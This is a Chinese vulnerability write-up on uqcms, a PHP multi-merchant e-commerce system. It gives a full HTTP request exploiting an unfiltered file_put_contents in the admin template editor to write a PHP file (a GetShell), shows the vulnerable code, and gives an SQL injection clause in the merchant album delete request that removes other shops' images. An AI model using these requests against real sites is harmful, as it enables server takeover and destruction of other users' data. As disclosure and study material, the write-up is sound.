uqcms的后台GetShell和前台越权删除他人图片

qucms是一个B2B2C多商户电商系统

结合多年的电商开发经验推出B2B2C多店铺系统,是目前国内最优秀的电商平台之一,系统设计为“平台自营+供应商入驻”的电商运营模式,系统支持佣金结算、区域团购、实时物流、售后服务等基础功能;为电商运营商提供最优质的系统和服务。 该程序采用非常流行的PHP作为开发语言,给很多广大开发者一个容易上手,能快速进入业务,成熟的语言架构,去除无用直达高效的设计,给企业快速开发,赢的市场。

1. 后台GETSHELL

打开URLwww.yousite.xxx?m=template后,呈现这个页面:
image_1cevu8mj382u1blhvnl1eqk1nri9.png-43.8kB
点击进入目录

image_1cevua1je1t93pa7cfj127jhv16.png-95.5kB
随便点击一个编辑,然后用Burp抓包( 用不用都可以 )

image_1cevuf2drd8t1l1e56evn31otg1j.png-106.9kB
单击提交后用Burp抓包,抓到的数据如下图

image_1cevuh0soqt1imm1icg43m13h820.png-173.1kB
我们将filename修改为phpinfo.php,把content修改为<?php phpinfo();?>

image_1cevuk0f31pddmhhphu1urj1nvn2d.png-52.6kB

修改后的数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin.php?m=template&a=save&jq_time=1527933067821 HTTP/1.1
Host: www.iamfree.ccc
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.iamfree.ccc/admin.php?m=template&a=edit&path=default.top.html
Content-Length: 2886
Cookie: PHPSESSID=b3uto19lpaa0mbbg4rudn9oqt0; goods[cart]=180602173948571025
Connection: close

filename=phpinfo.php&content=<?php phpinfo();?>

然后就会在根目录创建一个名为phpinfo.php的文件,并且内容为<?php phpinfo();?>
image_1cevur2sr1nri103u1pss15mf19l92q.png-80.8kB

访问phpinfo.php文件,完成GETSHELL:
image_1cevuscb0g0i1ccj146918t61n9837.png-75.1kB

漏洞代码处:

image_1cevvbsg4vo29pi19jcmst1ftd3k.png-147kB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function save() {
if ($_POST) {
$file = P('filename', '修改的文件名不能为空');
$content = P('content');
$query = file_put_contents($file, stripslashes_deep($content));
if ($query) {
right_json();
} else {
error_json('保存失败');
}
} else {
error_json('提交错误');
}
}

加上这三段代码,便于调试

image_1cevvi0dl17hnhst1nns4j91n3m4h.png-47.8kB

Burp抓的包放到Repeater( 按住ctrl+r )模块里

image_1cevvkj3gt54godvddo68q434u.png-82.5kB
file_put_contents的返回值是第二个参数的长度

这里因为没有做任何过滤,所以这里导致了任意文件写入漏洞

前台任意删除他人图片:

漏洞处:

  1. 进入商家登陆
    image_1cf0ctl1g1rj513371i61v5k5bv9.png-482.6kB

  2. 登陆后,单击装修
    image_1cf0cuvu7f2225011akh3n6egm.png-40.9kB

  3. 点击相册列表,并且上传图片
    image_1cf0d0f9r10p21rrm14pk576i213.png-56.5kB

漏洞讲解开始

首先选择这个ID为1566的那张图片点击删除,并且用Burp进行抓包:
image_1cf0d48umhlifkd10g9poj17vf20.png-73.2kB

我们首先随便输入一下错误的语法( 方便看到他的执行了什么语句 ):
image_1cf0d6kkfr7518cvk5lm1t1bja2d.png-80kB

可以看到他执行的SQL语句是:

1
select id,shop_id,url from uq_album where shop_id = 4 and id = 1566 or xxxx #查询uq_album表中条件为shop_id=4id=1566id和shop_id和url

image_1cf0e57anq5rjs1131tj431m6u2q.png-81.6kB

我们现在身为test2想把test1的图片删了,那么我们就构造一下sql语句~

1
select id,shop_id,url from uq_album where shop_id = 4 and id = 1566 or shop_id in (5)

image_1cf0ea13g1oag25u1st01dsk1oob37.png-19.6kB

可以看见这里有3条数据被展现出来了,也就是test2上传的图片
image_1cf0ehv65i57hfmpth1qdjct3k.png-84kB

然后我们开始执行一下这个构造的SQL语句:
image_1cf0em241145v1nd7lg11femt0a41.png-77.6kB

然后我们发现那3条数据就没了:
image_1cf0emvus1lq91rm6fls17jpfq04u.png-41.6kB

代码处:

下次补 手机已经扣了4元了 出不起了

十年寒窗无人问,一举成名天下知
– Cai_Team

本文标题:uqcms的后台GetShell和前台越权删除他人图片

文章作者:Iamfree

作者QQ:1900065568

发布时间:2018年06月03日 - 12:06

最后更新:2018年07月10日 - 16:07

原始链接:127.0.0.1/2018/06/03/uqcms的后台GetShell和前台越权删除他人图片/

许可协议:暂时请不要转载,感谢!!!

坚持写有质量的原创\转载文章,如果您觉得质量不错的话就点击下面按钮打赏我们把~
---------------本文结束感谢您的阅读,喜欢我们的话就加入我们吧~---------------